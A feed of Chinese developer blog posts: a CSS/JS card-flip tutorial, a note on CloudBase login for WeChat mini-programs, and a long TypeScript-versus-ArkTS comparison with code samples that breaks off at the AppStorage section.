容器是最小化镜像,不包含 bash,这导致许多攻击脚本无法执行。

参考资料

css及js实现正反面翻转

作者 加油乐
2025年12月8日 11:55

一、两种翻转方式:

结构

<div class="card">
<div class="front">正面</div>
<div class="back">背面</div>
</div>
<button class="flip">翻转</button>

鼠标悬停:通过CSS的:hover伪类实现

  1. transform-style: preserve-3d:这是3D变换的关键,确保子元素在3D空间中变换,而不是被压扁到2D平面
  2. backface-visibility: hidden:隐藏元素的背面,这是实现"卡片翻转"效果而非"内容镜像"的关键
  3. .back { transform: rotateY(180deg); } :背面初始旋转180度,使其朝后隐藏
  4. transition: transform 0.6s:为transform属性添加0.6秒的过渡动画,使翻转过程平滑
.card {
width: 200px;
height: 200px;
position: relative;  /* 设置为相对定位,作为子元素的定位基准 */
transform-style: preserve-3d;  /* 保持3D变换效果,使子元素在3D空间内变换 */
transition: transform 0.6s;  /* 添加transform属性的过渡效果,持续0.6秒 */
}
.front, .back {
position: absolute;  /* 绝对定位,使正反面重叠 */
width: 100%;
height: 100%;
backface-visibility: hidden;  /* 隐藏元素的背面,防止翻转时看到镜像内容 */
}
/* 正面样式 */
.front {
background-color: lightgreen;  /* 正面背景色为浅绿色 */
}
/* 背面样式 */
.back {
background-color: lightblue;  /* 背面背景色为浅蓝色 */
transform: rotateY(180deg);  /* 初始状态旋转180度,使背面朝后隐藏 */
}
/* 鼠标悬停效果 */
.card:hover {
transform: rotateY(180deg);  /* 鼠标悬停时,卡片沿Y轴旋转180度 */
}

按钮点击:通过JavaScript事件监听实现

  1. 通过querySelector获取卡片和按钮元素

  2. 为按钮添加点击事件监听器

  3. 使用条件运算符切换卡片的翻转状态:

    • 如果卡片已有transform样式,则清除(返回正面)
    • 如果卡片没有transform样式,则添加rotateY(180deg)(翻转显示背面)
// 获取DOM元素
let card = document.querySelector('.card');  // 获取卡片元素
let flip = document.querySelector('.flip');  // 获取翻转按钮元素

// 为翻转按钮添加点击事件监听器
flip.addEventListener('click', function() {
// 条件判断:如果卡片当前有transform样式,则清除(恢复正面)
// 如果卡片当前没有transform样式,则添加翻转样式(显示背面)
card.style.transform ? card.style.transform = '' : card.style.transform = 'rotateY(180deg)';
});

【你可能不知道的开发技巧】一行代码完成小程序的CloudBase鉴权登录

2025年12月8日 11:42

登录鉴权基本概念

登录功能=登录页UI+登录逻辑+会话管理

登录的本质是让小程序知道用户是谁。

3.jpg

一行代码完成CloudBase的鉴权登录,初始化云开发环境即可调用云开发能力。

基于微信原生API的自动鉴权机制,调用云开发服务时系统自动识别当前用户openid并完成身份验证,省去繁琐的手动获取openid步骤。

4.jpg5.jpg

功能优势

  1. 用户行为追踪: 便于分析未注册用户行为数据
  2. 降低用户使用门槛: 提升转化率和用户体验

其他三种常见登录方式

  • 账号密码登录
  • 短信验证码登录
  • 邮箱验证码登录

相比于微信原生方式,CloudBase方便在哪?

  • 无需从零开始构建用户认证系统,CloudBase提供了完整的认证流程。
  • 无缝集成CloudBase资源,安全性有保障。
  • 无需自行维护复杂的登录态token。
  • CloudBase支持自定义登录,业务扩展后能平滑迁移。

对照typescript学习鸿蒙ArkTS

2025年12月8日 11:21

HarmonyOS选择ArkTS的原因

  1. TypeScript超集:ArkTS是TypeScript的超集,保留了TypeScript的核心特性,降低了开发者的学习成本,使得熟悉TypeScript的开发者能够快速上手。

  2. 性能优化:ArkTS针对鸿蒙系统进行了深度优化,提供了更好的运行时性能和更低的内存占耗,特别是在声明式UI框架ArkUI中表现出色。

  3. 类型安全增强:相比TypeScript,ArkTS进一步强化了类型系统,禁用了一些动态特性(如any类型的部分用法),提供更严格的类型检查,减少运行时错误。

  4. 生态整合:ArkTS与鸿蒙生态深度集成,提供了丰富的系统API和组件库,能够充分发挥鸿蒙系统的分布式能力和跨设备协同特性。

基础语法

程序入口

TypeScript:

TypeScript/JavaScript应用通常没有固定的程序入口,在Node.js环境中会从package.json指定的入口文件开始执行,在浏览器环境中则从HTML引入的脚本开始执行。

ArkTS:

ArkTS应用有明确的入口点,通常在entry/src/main/ets/entryability/EntryAbility.ets文件中

import UIAbility from '@ohos.app.ability.UIAbility';
import window from '@ohos.window';

export default class EntryAbility extends UIAbility {
  onCreate(want, launchParam) {
    console.info('Ability onCreate');
  }

  onWindowStageCreate(windowStage: window.WindowStage) {
    windowStage.loadContent('pages/Index', (err, data) => {
      // 加载页面
    });
  }
}

页面入口通常在pages/Index.ets中:

@Entry
@Component
struct Index {
  build() {
    // UI构建
  }
}

数据类型

基本类型

TypeScript与ArkTS共同支持的类型:

  • boolean: 布尔类型
  • number: 数字类型
  • string: 字符串类型
  • null: 空值
  • undefined: 未定义
  • bigint: 大整数(ES2020+)
  • symbol: 符号类型
// TypeScript & ArkTS
let isDone: boolean = false;
let count: number = 10;
let name: string = "HarmonyOS";
let big: bigint = 100n;

Array(数组)

TypeScript:

let list1: number[] = [1, 2, 3];
let list2: Array<number> = [1, 2, 3];

ArkTS:

// 推荐使用类型注解
let list1: number[] = [1, 2, 3];
let list2: Array<number> = [1, 2, 3];

// ArkTS中数组操作与TS基本一致
list1.push(4);
list1.forEach((item) => {
  console.log(item.toString());
});

Tuple(元组)

TypeScript:

let tuple: [string, number] = ['hello', 10];

ArkTS:

// ArkTS同样支持元组
let tuple: [string, number] = ['hello', 10];
let first: string = tuple[0];
let second: number = tuple[1];

Enum(枚举)

TypeScript:

enum Color {
  Red,
  Green,
  Blue
}

enum Status {
  Success = 'SUCCESS',
  Fail = 'FAIL'
}

ArkTS:

// ArkTS支持数字枚举和字符串枚举
enum Color {
  Red,
  Green,
  Blue
}

enum Status {
  Success = 'SUCCESS',
  Fail = 'FAIL'
}

let color: Color = Color.Red;

any 和 unknown

TypeScript:

let notSure: any = 4;
notSure = "maybe a string";
notSure = false;

let value: unknown = 4;
// unknown类型更安全,使用前需要类型检查
if (typeof value === 'string') {
  console.log(value.toUpperCase());
}

ArkTS:

// ArkTS限制了any的使用,推荐使用具体类型
// 在某些场景下可以使用,但会有编译警告
let notSure: any = 4; // 不推荐

// 推荐使用联合类型替代
let value: string | number = 4;
value = "string";

Object(对象)

TypeScript:

interface Person {
  name: string;
  age: number;
  email?: string; // 可选属性
}

let person: Person = {
  name: 'Zhang San',
  age: 25
};

ArkTS:

// ArkTS中接口定义方式相同
interface Person {
  name: string;
  age: number;
  email?: string;
}

let person: Person = {
  name: 'Zhang San',
  age: 25
};

// 也可以使用class
class PersonClass {
  name: string;
  age: number;
  
  constructor(name: string, age: number) {
    this.name = name;
    this.age = age;
  }
}

变量声明

let、const、var

TypeScript:

var oldStyle = 'avoid using var'; // 不推荐
let mutableValue = 'can change';
const immutableValue = 'cannot change';

ArkTS:

// ArkTS同样支持let和const,不推荐使用var
let mutableValue: string = 'can change';
const immutableValue: string = 'cannot change';

// ArkTS强制要求类型注解(在某些情况下)
let count: number = 0; // 推荐明确指定类型

类型推断

TypeScript:

let message = "Hello"; // 推断为string类型
let count = 42; // 推断为number类型

ArkTS:

// ArkTS支持类型推断,但更推荐显式声明
let message = "Hello"; // 可以推断
let count: number = 42; // 推荐显式声明

函数

函数声明

TypeScript:

// 函数声明
function add(a: number, b: number): number {
  return a + b;
}

// 函数表达式
const multiply = function(a: number, b: number): number {
  return a * b;
};

// 箭头函数
const subtract = (a: number, b: number): number => {
  return a - b;
};

// 简写箭头函数
const divide = (a: number, b: number): number => a / b;

ArkTS:

// ArkTS支持相同的函数声明方式
function add(a: number, b: number): number {
  return a + b;
}

const multiply = function(a: number, b: number): number {
  return a * b;
};

const subtract = (a: number, b: number): number => {
  return a - b;
};

const divide = (a: number, b: number): number => a / b;

可选参数和默认参数

TypeScript:

function buildName(firstName: string, lastName?: string): string {
  if (lastName) {
    return firstName + " " + lastName;
  }
  return firstName;
}

function buildFullName(firstName: string, lastName: string = "Smith"): string {
  return firstName + " " + lastName;
}

ArkTS:

// ArkTS中可选参数和默认参数用法相同
function buildName(firstName: string, lastName?: string): string {
  if (lastName) {
    return firstName + " " + lastName;
  }
  return firstName;
}

function buildFullName(firstName: string, lastName: string = "Smith"): string {
  return firstName + " " + lastName;
}

剩余参数

TypeScript:

function sum(...numbers: number[]): number {
  return numbers.reduce((acc, curr) => acc + curr, 0);
}

sum(1, 2, 3, 4); // 10

ArkTS:

// ArkTS支持剩余参数
function sum(...numbers: number[]): number {
  return numbers.reduce((acc, curr) => acc + curr, 0);
}

类的定义

TypeScript:

class Person {
  name: string;
  age: number;

  constructor(name: string, age: number) {
    this.name = name;
    this.age = age;
  }

  greet(): string {
    return `Hello, I'm ${this.name}`;
  }
}

const person = new Person("Zhang San", 25);

ArkTS:

// ArkTS类定义方式相同
class Person {
  name: string;
  age: number;

  constructor(name: string, age: number) {
    this.name = name;
    this.age = age;
  }

  greet(): string {
    return `Hello, I'm ${this.name}`;
  }
}

const person = new Person("Zhang San", 25);

访问修饰符

TypeScript:

class Animal {
  public name: string;      // 公共属性
  private age: number;      // 私有属性
  protected type: string;   // 受保护属性

  constructor(name: string, age: number, type: string) {
    this.name = name;
    this.age = age;
    this.type = type;
  }

  public getAge(): number {
    return this.age;
  }
}

ArkTS:

// ArkTS支持相同的访问修饰符
class Animal {
  public name: string;
  private age: number;
  protected type: string;

  constructor(name: string, age: number, type: string) {
    this.name = name;
    this.age = age;
    this.type = type;
  }

  public getAge(): number {
    return this.age;
  }
}

继承

TypeScript:

class Animal {
  name: string;
  
  constructor(name: string) {
    this.name = name;
  }
  
  move(distance: number = 0): void {
    console.log(`${this.name} moved ${distance}m.`);
  }
}

class Dog extends Animal {
  bark(): void {
    console.log('Woof! Woof!');
  }
}

const dog = new Dog('Buddy');
dog.bark();
dog.move(10);

ArkTS:

// ArkTS继承方式相同
class Animal {
  name: string;
  
  constructor(name: string) {
    this.name = name;
  }
  
  move(distance: number = 0): void {
    console.info(`${this.name} moved ${distance}m.`);
  }
}

class Dog extends Animal {
  bark(): void {
    console.info('Woof! Woof!');
  }
}

const dog = new Dog('Buddy');
dog.bark();
dog.move(10);

静态成员

TypeScript:

class MathUtil {
  static PI: number = 3.14159;
  
  static calculateCircumference(radius: number): number {
    return 2 * MathUtil.PI * radius;
  }
}

console.log(MathUtil.PI);
console.log(MathUtil.calculateCircumference(10));

ArkTS:

// ArkTS静态成员用法相同
class MathUtil {
  static PI: number = 3.14159;
  
  static calculateCircumference(radius: number): number {
    return 2 * MathUtil.PI * radius;
  }
}

console.info(MathUtil.PI.toString());
console.info(MathUtil.calculateCircumference(10).toString());

接口

接口定义

TypeScript:

interface User {
  id: number;
  name: string;
  email?: string;
  readonly createdAt: Date;
}

interface Searchable {
  search(keyword: string): User[];
}

class UserService implements Searchable {
  search(keyword: string): User[] {
    // 实现搜索逻辑
    return [];
  }
}

ArkTS:

// ArkTS接口定义方式相同
interface User {
  id: number;
  name: string;
  email?: string;
  readonly createdAt: Date;
}

interface Searchable {
  search(keyword: string): User[];
}

class UserService implements Searchable {
  search(keyword: string): User[] {
    return [];
  }
}

接口继承

TypeScript:

interface Shape {
  color: string;
}

interface Square extends Shape {
  sideLength: number;
}

let square: Square = {
  color: "blue",
  sideLength: 10
};

ArkTS:

// ArkTS接口继承方式相同
interface Shape {
  color: string;
}

interface Square extends Shape {
  sideLength: number;
}

let square: Square = {
  color: "blue",
  sideLength: 10
};

泛型

泛型函数

TypeScript:

function identity<T>(arg: T): T {
  return arg;
}

let output1 = identity<string>("hello");
let output2 = identity<number>(42);

ArkTS:

// ArkTS支持泛型
function identity<T>(arg: T): T {
  return arg;
}

let output1 = identity<string>("hello");
let output2 = identity<number>(42);

泛型类

TypeScript:

class GenericNumber<T> {
  zeroValue: T;
  add: (x: T, y: T) => T;
}

let myGenericNumber = new GenericNumber<number>();
myGenericNumber.zeroValue = 0;
myGenericNumber.add = function(x, y) { return x + y; };

ArkTS:

// ArkTS泛型类用法相同
class GenericNumber<T> {
  zeroValue: T;
  add: (x: T, y: T) => T;
}

let myGenericNumber = new GenericNumber<number>();
myGenericNumber.zeroValue = 0;
myGenericNumber.add = function(x, y) { return x + y; };

泛型约束

TypeScript:

interface Lengthwise {
  length: number;
}

function logLength<T extends Lengthwise>(arg: T): T {
  console.log(arg.length);
  return arg;
}

logLength({ length: 10, value: 3 });

ArkTS:

// ArkTS泛型约束用法相同
interface Lengthwise {
  length: number;
}

function logLength<T extends Lengthwise>(arg: T): T {
  console.info(arg.length.toString());
  return arg;
}

异步编程

Promise

TypeScript:

function fetchData(): Promise<string> {
  return new Promise((resolve, reject) => {
    setTimeout(() => {
      resolve("Data loaded");
    }, 1000);
  });
}

fetchData()
  .then(data => console.log(data))
  .catch(error => console.error(error));

ArkTS:

// ArkTS支持Promise
function fetchData(): Promise<string> {
  return new Promise((resolve, reject) => {
    setTimeout(() => {
      resolve("Data loaded");
    }, 1000);
  });
}

fetchData()
  .then(data => console.info(data))
  .catch(error => console.error(error));

async/await

TypeScript:

async function loadUserData(userId: number): Promise<User> {
  try {
    const response = await fetch(`/api/users/${userId}`);
    const user = await response.json();
    return user;
  } catch (error) {
    console.error('Failed to load user:', error);
    throw error;
  }
}

// 使用
async function main() {
  const user = await loadUserData(1);
  console.log(user);
}

ArkTS:

// ArkTS支持async/await
import http from '@ohos.net.http';

async function loadUserData(userId: number): Promise<object> {
  try {
    let httpRequest = http.createHttp();
    const response = await httpRequest.request(`https://api.example.com/users/${userId}`);
    return JSON.parse(response.result.toString());
  } catch (error) {
    console.error('Failed to load user:', error);
    throw error;
  }
}

// 使用
async function main() {
  const user = await loadUserData(1);
  console.info(JSON.stringify(user));
}

模块系统

导出

TypeScript:

// utils.ts
export function add(a: number, b: number): number {
  return a + b;
}

export class Calculator {
  multiply(a: number, b: number): number {
    return a * b;
  }
}

export default class MathUtil {
  static PI = 3.14159;
}

ArkTS:

// utils.ets
export function add(a: number, b: number): number {
  return a + b;
}

export class Calculator {
  multiply(a: number, b: number): number {
    return a * b;
  }
}

// ArkTS也支持默认导出
export default class MathUtil {
  static PI = 3.14159;
}

导入

TypeScript:

// 命名导入
import { add, Calculator } from './utils';

// 默认导入
import MathUtil from './utils';

// 导入所有
import * as Utils from './utils';

// 重命名导入
import { add as sum } from './utils';

ArkTS:

// ArkTS导入方式相同
import { add, Calculator } from './utils';
import MathUtil from './utils';
import * as Utils from './utils';
import { add as sum } from './utils';

ArkTS独有特性(TypeScript没有的)

1. 声明式UI装饰器系统

这是ArkTS最重要的特性之一,TypeScript完全没有这套体系。

@Component - 自定义组件装饰器

ArkTS独有:

// TypeScript中没有这种组件装饰器
@Component
struct CustomButton {
  private text: string = 'Click';
  
  build() {
    Button(this.text)
      .width(100)
      .height(40)
  }
}

@Entry - 页面入口装饰器

ArkTS独有:

// 标记页面入口组件,TypeScript没有这个概念
@Entry
@Component
struct HomePage {
  build() {
    Column() {
      Text('Home Page')
    }
  }
}

@Preview - 预览装饰器

ArkTS独有:

// 用于在DevEco Studio中预览组件,TypeScript没有
@Preview
@Component
struct PreviewComponent {
  build() {
    Text('Preview Mode')
      .fontSize(20)
  }
}

2. 状态管理装饰器

这是ArkTS最核心的特性,用于响应式UI开发,TypeScript完全没有。

@State - 组件内部状态

ArkTS独有:

@Component
struct Counter {
  // @State装饰器使变量具有响应式能力
  // 当count变化时,UI会自动更新
  @State count: number = 0;
  
  build() {
    Column() {
      Text(`Count: ${this.count}`)
      Button('Increase')
        .onClick(() => {
          this.count++; // 修改会触发UI刷新
        })
    }
  }
}

TypeScript对比:

// TypeScript需要手动管理状态更新
class Counter {
  private count: number = 0;
  
  increase() {
    this.count++;
    // 需要手动调用渲染函数
    this.render();
  }
  
  render() {
    // 手动更新DOM
  }
}

@Prop - 单向数据传递

ArkTS独有:

@Component
struct ChildComponent {
  // @Prop从父组件接收数据,单向传递
  // 子组件不能修改@Prop装饰的变量
  @Prop message: string;
  
  build() {
    Text(this.message)
  }
}

@Entry
@Component
struct ParentComponent {
  @State parentMessage: string = 'Hello';
  
  build() {
    Column() {
      ChildComponent({ message: this.parentMessage })
      Button('Change')
        .onClick(() => {
          this.parentMessage = 'Hi'; // 子组件会自动更新
        })
    }
  }
}

@Link - 双向数据绑定

ArkTS独有:

@Component
struct ChildComponent {
  // @Link实现父子组件双向数据同步
  // 子组件可以修改,会同步到父组件
  @Link count: number;
  
  build() {
    Column() {
      Text(`Child: ${this.count}`)
      Button('Child +1')
        .onClick(() => {
          this.count++; // 修改会同步到父组件
        })
    }
  }
}

@Entry
@Component
struct ParentComponent {
  @State parentCount: number = 0;
  
  build() {
    Column() {
      Text(`Parent: ${this.parentCount}`)
      // 使用$符号传递引用
      ChildComponent({ count: $parentCount })
    }
  }
}

TypeScript对比:

// TypeScript需要通过回调函数实现双向绑定
class ChildComponent {
  constructor(
    private count: number,
    private onChange: (value: number) => void
  ) {}
  
  increment() {
    this.count++;
    this.onChange(this.count); // 手动通知父组件
  }
}

@Provide 和 @Consume - 跨层级传递

ArkTS独有:

// 祖先组件提供数据
@Entry
@Component
struct GrandParent {
  @Provide('theme') theme: string = 'dark';
  
  build() {
    Column() {
      Parent()
    }
  }
}

@Component
struct Parent {
  build() {
    Column() {
      Child()
    }
  }
}

// 后代组件消费数据,无需逐层传递
@Component
struct Child {
  @Consume('theme') theme: string;
  
  build() {
    Text(`Theme: ${this.theme}`)
      .fontColor(this.theme === 'dark' ? Color.White : Color.Black)
  }
}

TypeScript对比:

// TypeScript需要使用Context或逐层传递props
// React示例
const ThemeContext = React.createContext('light');

function GrandParent() {
  return (
    <ThemeContext.Provider value="dark">
      <Parent />
    </ThemeContext.Provider>
  );
}

function Child() {
  const theme = useContext(ThemeContext);
  return <div>{theme}</div>;
}

@ObjectLink 和 @Observed - 嵌套对象响应式

ArkTS独有:

// @Observed装饰类,使其实例具有响应式能力
@Observed
class Person {
  name: string;
  age: number;
  
  constructor(name: string, age: number) {
    this.name = name;
    this.age = age;
  }
}

@Component
struct PersonCard {
  // @ObjectLink用于嵌套对象的双向同步
  @ObjectLink person: Person;
  
  build() {
    Column() {
      Text(`Name: ${this.person.name}`)
      Text(`Age: ${this.person.age}`)
      Button('Birthday')
        .onClick(() => {
          this.person.age++; // 修改会触发UI更新
        })
    }
  }
}

@Entry
@Component
struct PersonList {
  @State people: Person[] = [
    new Person('Zhang San', 25),
    new Person('Li Si', 30)
  ];
  
  build() {
    Column() {
      ForEach(this.people, (person: Person) => {
        PersonCard({ person: person })
      })
    }
  }
}

@Watch - 状态监听

ArkTS独有:

@Component
struct WatchExample {
  @State @Watch('onCountChange') count: number = 0;
  @State message: string = '';
  
  // 监听count变化
  onCountChange() {
    this.message = `Count changed to ${this.count}`;
    console.info(`Count is now: ${this.count}`);
  }
  
  build() {
    Column() {
      Text(this.message)
      Button('Increase')
        .onClick(() => {
          this.count++; // 会触发onCountChange
        })
    }
  }
}

3. 声明式UI构建语法

struct 结构体(用于UI组件)

ArkTS独有:

// ArkTS使用struct定义UI组件
// TypeScript没有这种UI组件定义方式
@Component
struct MyComponent {
  build() {
    Column() {
      Text('Hello')
    }
  }
}

build() 方法

ArkTS独有:

// build方法是ArkTS组件的核心
// 用于声明式地描述UI结构
@Component
struct UIExample {
  build() {
    // 链式调用设置属性
    Column() {
      Text('Title')
        .fontSize(20)
        .fontWeight(FontWeight.Bold)
      
      Button('Click')
        .width(100)
        .onClick(() => {
          console.info('Clicked');
        })
    }
    .width('100%')
    .height('100%')
    .justifyContent(FlexAlign.Center)
  }
}

4. 内置UI组件

ArkTS提供了大量内置UI组件,TypeScript没有。

容器组件

ArkTS独有:

@Entry
@Component
struct ContainerExample {
  build() {
    // Column - 垂直布局
    Column({ space: 10 }) {
      Text('Item 1')
      Text('Item 2')
    }
    
    // Row - 水平布局
    Row({ space: 20 }) {
      Text('Left')
      Text('Right')
    }
    
    // Stack - 层叠布局
    Stack() {
      Image($r('app.media.bg'))
      Text('Overlay Text')
    }
    
    // Flex - 弹性布局
    Flex({ direction: FlexDirection.Row, wrap: FlexWrap.Wrap }) {
      Text('Item 1').width('30%')
      Text('Item 2').width('30%')
      Text('Item 3').width('30%')
    }
    
    // Grid - 网格布局
    Grid() {
      GridItem() { Text('1') }
      GridItem() { Text('2') }
      GridItem() { Text('3') }
    }
    .columnsTemplate('1fr 1fr 1fr')
    .rowsTemplate('1fr 1fr')
  }
}

基础组件

ArkTS独有:

@Entry
@Component
struct BasicComponents {
  @State inputValue: string = '';
  @State isChecked: boolean = false;
  @State sliderValue: number = 50;
  
  build() {
    Column({ space: 15 }) {
      // Text组件
      Text('Hello HarmonyOS')
        .fontSize(24)
        .fontColor(Color.Blue)
        .fontWeight(FontWeight.Bold)
      
      // Button组件
      Button('Click Me')
        .type(ButtonType.Capsule)
        .width(200)
        .onClick(() => {
          console.info('Button clicked');
        })
      
      // Image组件
      Image($r('app.media.icon'))
        .width(100)
        .height(100)
        .borderRadius(50)
      
      // TextInput组件
      TextInput({ placeholder: 'Enter text' })
        .width('90%')
        .onChange((value: string) => {
          this.inputValue = value;
        })
      
      // Checkbox组件
      Checkbox()
        .select(this.isChecked)
        .onChange((value: boolean) => {
          this.isChecked = value;
        })
      
      // Slider组件
      Slider({
        value: this.sliderValue,
        min: 0,
        max: 100,
        step: 1
      })
        .width('90%')
        .onChange((value: number) => {
          this.sliderValue = value;
        })
      
      // Progress组件
      Progress({ value: this.sliderValue, total: 100 })
        .width('90%')
    }
    .width('100%')
    .height('100%')
    .padding(20)
  }
}

5. 条件渲染和循环渲染

if/else 条件渲染

ArkTS独有:

@Component
struct ConditionalRender {
  @State isLoggedIn: boolean = false;
  @State userType: string = 'guest';
  
  build() {
    Column() {
      // if条件渲染
      if (this.isLoggedIn) {
        Text('Welcome back!')
          .fontSize(20)
      } else {
        Text('Please login')
          .fontSize(16)
      }
      
      // if-else if-else
      if (this.userType === 'admin') {
        Button('Admin Panel')
      } else if (this.userType === 'user') {
        Button('User Dashboard')
      } else {
        Button('Guest Mode')
      }
      
      // 三元表达式
      Text(this.isLoggedIn ? 'Online' : 'Offline')
        .fontColor(this.isLoggedIn ? Color.Green : Color.Gray)
    }
  }
}

ForEach 循环渲染

ArkTS独有:

@Entry
@Component
struct ListExample {
  @State items: string[] = ['Apple', 'Banana', 'Orange', 'Grape'];
  
  build() {
    Column() {
      // ForEach循环渲染
      ForEach(
        this.items,                    // 数据源
        (item: string, index: number) => {  // 渲染函数
          Row() {
            Text(`${index + 1}. ${item}`)
              .fontSize(18)
          }
          .width('100%')
          .height(50)
          .padding(10)
        },
        (item: string) => item         // 键生成函数(可选)
      )
    }
  }
}

LazyForEach 懒加载列表

ArkTS独有:

// 实现IDataSource接口
class MyDataSource implements IDataSource {
  private list: string[] = [];
  
  constructor(list: string[]) {
    this.list = list;
  }
  
  totalCount(): number {
    return this.list.length;
  }
  
  getData(index: number): string {
    return this.list[index];
  }
  
  registerDataChangeListener(listener: DataChangeListener): void {
    // 注册监听器
  }
  
  unregisterDataChangeListener(listener: DataChangeListener): void {
    // 注销监听器
  }
}

@Entry
@Component
struct LazyListExample {
  private data: MyDataSource = new MyDataSource(
    Array.from({ length: 1000 }, (_, i) => `Item ${i}`)
  );
  
  build() {
    List() {
      // LazyForEach实现懒加载,只渲染可见区域
      LazyForEach(
        this.data,
        (item: string) => {
          ListItem() {
            Text(item)
              .width('100%')
              .height(50)
          }
        },
        (item: string) => item
      )
    }
    .width('100%')
    .height('100%')
  }
}

6. @Builder 自定义构建函数

ArkTS独有:

@Component
struct BuilderExample {
  @State count: number = 0;
  
  // @Builder装饰的函数可以复用UI结构
  @Builder CustomButton(text: string, action: () => void) {
    Button(text)
      .width(150)
      .height(40)
      .onClick(action)
  }
  
  // 全局@Builder(在struct外部)
  @Builder
  function GlobalHeader(title: string) {
    Row() {
      Text(title)
        .fontSize(24)
        .fontWeight(FontWeight.Bold)
    }
    .width('100%')
    .height(60)
    .backgroundColor('#f0f0f0')
  }
  
  build() {
    Column({ space: 20 }) {
      GlobalHeader('My Page')
      
      Text(`Count: ${this.count}`)
      
      // 复用自定义构建函数
      this.CustomButton('Increase', () => {
        this.count++;
      })
      
      this.CustomButton('Decrease', () => {
        this.count--;
      })
      
      this.CustomButton('Reset', () => {
        this.count = 0;
      })
    }
  }
}

7. @Styles 样式复用

ArkTS独有:

// 全局@Styles
@Styles function globalFancyText() {
  .fontSize(20)
  .fontColor(Color.Blue)
  .fontWeight(FontWeight.Bold)
}

@Component
struct StylesExample {
  // 组件内@Styles
  @Styles fancyButton() {
    .width(200)
    .height(50)
    .backgroundColor(Color.Orange)
    .borderRadius(25)
  }
  
  build() {
    Column({ space: 20 }) {
      // 使用全局样式
      Text('Global Style')
        .globalFancyText()
      
      // 使用组件样式
      Button('Fancy Button')
        .fancyButton()
      
      Button('Another Fancy Button')
        .fancyButton()
    }
  }
}

8. @Extend 扩展组件样式

ArkTS独有:

// @Extend只能用于扩展内置组件
@Extend(Text) function fancyText(fontSize: number, color: Color) {
  .fontSize(fontSize)
  .fontColor(color)
  .fontWeight(FontWeight.Bold)
  .textAlign(TextAlign.Center)
  .padding(10)
  .backgroundColor('#f5f5f5')
  .borderRadius(8)
}

@Extend(Button) function primaryButton() {
  .width(200)
  .height(50)
  .backgroundColor(Color.Blue)
  .fontColor(Color.White)
  .borderRadius(25)
}

@Entry
@Component
struct ExtendExample {
  build() {
    Column({ space: 20 }) {
      // 使用扩展样式
      Text('Extended Text')
        .fancyText(18, Color.Red)
      
      Text('Another Text')
        .fancyText(16, Color.Green)
      
      Button('Primary Action')
        .primaryButton()
    }
  }
}

9. @CustomDialog 自定义弹窗

ArkTS独有:

@CustomDialog
struct CustomDialogExample {
  controller: CustomDialogController;
  title: string = 'Dialog Title';
  message: string = 'Dialog message';
  confirm: () => void;
  
  build() {
    Column({ space: 20 }) {
      Text(this.title)
        .fontSize(20)
        .fontWeight(FontWeight.Bold)
      
      Text(this.message)
        .fontSize(16)
      
      Row({ space: 20 }) {
        Button('Cancel')
          .onClick(() => {
            this.controller.close();
          })
        
        Button('Confirm')
          .onClick(() => {
            this.confirm();
            this.controller.close();
          })
      }
    }
    .padding(20)
  }
}

@Entry
@Component
struct DialogPage {
  dialogController: CustomDialogController = new CustomDialogController({
    builder: CustomDialogExample({
      title: 'Delete Confirmation',
      message: 'Are you sure you want to delete this item?',
      confirm: () => {
        console.info('Item deleted');
      }
    }),
    autoCancel: true
  });
  
  build() {
    Column() {
      Button('Show Dialog')
        .onClick(() => {
          this.dialogController.open();
        })
    }
  }
}

10. @AnimatableExtend 可动画属性扩展

ArkTS独有:

@AnimatableExtend(Text) function animatableFontSize(size: number) {
  .fontSize(size)
}

@Entry
@Component
struct AnimationExample {
  @State fontSize: number = 20;
  
  build() {
    Column({ space: 20 }) {
      Text('Animated Text')
        .animatableFontSize(this.fontSize)
        .animation({
          duration: 500,
          curve: Curve.EaseInOut
        })
      
      Button('Increase Font')
        .onClick(() => {
          this.fontSize += 5;
        })
      
      Button('Decrease Font')
        .onClick(() => {
          this.fontSize -= 5;
        })
    }
  }
}

11. @Concurrent 并发装饰器

ArkTS独有:

// @Concurrent用于标记可以并发执行的函数
@Concurrent
function heavyComputation(data: number[]): number {
  // 耗时计算
  let sum = 0;
  for (let i = 0; i < data.length; i++) {
    sum += data[i] * data[i];
  }
  return sum;
}

@Entry
@Component
struct ConcurrentExample {
  @State result: number = 0;
  @State loading: boolean = false;
  
  async performHeavyTask() {
    this.loading = true;
    const data = Array.from({ length: 1000000 }, (_, i) => i);
    
    try {
      // 在子线程中执行
      this.result = await taskpool.execute(heavyComputation, data);
    } catch (error) {
      console.error('Task failed:', error);
    } finally {
      this.loading = false;
    }
  }
  
  build() {
    Column({ space: 20 }) {
      if (this.loading) {
        LoadingProgress()
      } else {
        Text(`Result: ${this.result}`)
      }
      
      Button('Start Heavy Task')
        .onClick(() => {
          this.performHeavyTask();
        })
    }
  }
}

12. @Reusable 组件复用

ArkTS独有:

// @Reusable标记可复用组件,提升性能
@Reusable
@Component
struct ReusableListItem {
  @State item: string = '';
  
  // 组件即将被复用时调用
  aboutToReuse(params: Record<string, Object>) {
    this.item = params.item as string;
  }
  
  build() {
    Row() {
      Text(this.item)
        .fontSize(16)
    }
    .width('100%')
    .height(50)
    .padding(10)
  }
}

@Entry
@Component
struct ReusableListExample {
  @State items: string[] = Array.from({ length: 100 }, (_, i) => `Item ${i}`);
  
  build() {
    List() {
      ForEach(this.items, (item: string) => {
        ListItem() {
          ReusableListItem({ item: item })
        }
      })
    }
  }
}

13. 资源引用系统

ArkTS独有:

@Entry
@Component
struct ResourceExample {
  build() {
    Column({ space: 20 }) {
      // $r引用资源文件
      Text($r('app.string.hello'))  // 引用字符串资源
        .fontSize($r('app.float.title_font_size'))  // 引用数值资源
        .fontColor($r('app.color.primary'))  // 引用颜色资源
      
      Image($r('app.media.icon'))  // 引用图片资源
        .width(100)
        .height(100)
      
      // $rawfile引用rawfile目录下的文件
      Image($rawfile('background.png'))
      
      // 使用资源的格式化字符串
      Text($r('app.string.welcome_message', 'Zhang San'))
    }
  }
}

14. LocalStorage 页面级状态管理

ArkTS独有:

// 创建LocalStorage实例
let storage = new LocalStorage({ 'count': 0 });

@Entry(storage)
@Component
struct PageA {
  // @LocalStorageLink双向绑定
  @LocalStorageLink('count') count: number = 0;
  
  build() {
    Column({ space: 20 }) {
      Text(`Count: ${this.count}`)
      
      Button('Increase')
        .onClick(() => {
          this.count++;
        })
      
      Button('Go to Page B')
        .onClick(() => {
          router.pushUrl({ url: 'pages/PageB' });
        })
    }
  }
}

@Entry(storage)
@Component
struct PageB {
  // @LocalStorageProp单向同步
  @LocalStorageProp('count') count: number = 0;
  
  build() {
    Column() {
      Text(`Count from Page A: ${this.count}`)
    }
  }
}

15. AppStorage 应用级状态管理

ArkTS独有:

